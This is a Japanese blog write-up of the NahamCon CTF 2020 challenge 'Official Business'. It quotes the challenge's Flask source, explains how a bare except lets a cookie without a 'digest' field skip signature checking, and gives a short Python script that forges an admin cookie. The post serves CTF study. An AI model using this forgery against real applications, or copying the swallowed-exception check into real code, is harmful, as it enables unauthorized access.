はまやんはまやんはまやん

hamayanhamayan's blog

Official Business [NahamCon CTF 2020]

Are you here on official business? Prove it.
Connect here:
http://jh2i.com:50006

ログイン試行画面が出てくる。
とりあえずa:bとかしてみると、Forbiddenで帰ってくる。
'を入れてみてもForbidden。
さて、何から試そうか。

adminでログインせよと書いてあるので色々やっては見るが、うまくいかない。
他で攻撃できそうというとエスパーくらいしかないので、色々やってみると、/robots.txtソースコードが見られる。

@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)

ここがログイン部分であるが、ハッシュ値に普通に英単語が入ってて、これを一致させるのは無理。
ログインを突破するのは難しそうだ。

ソースコードを眺めると、Cookieの署名判定にバグがある。

def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie

load_cookieの関数の正常動作では、Trueと中身が入ったcookieがかえってくることだが、
これを署名の確認無しに行うことができる。
注目すべきはtry部分であるが、例外が起きてexceptされても特に何もしていない。
なので、try内部のcookie代入はちゃんとやってもらって、それ以降で例外を起こせば、cookieはちゃんと入っているがTrueでも返すことができる。 例外を発生させる箇所はdigestの代入部分で、cookieにdigestが含まれていないと例外が発生する。

よって、cookieをこちらで作成するが、意図的にdigestだけぬかして作成すればいい。
以下コードでcookieに入れる値を作成した。

import hashlib
import json
import binascii

cookie = {"user": "admin", "password": "abc", "admin": True}
val = binascii.hexlify(json.dumps(cookie).encode("utf8"))
print(val)

これをauthキーとして入れて/にアクセスすればフラグが出てくる。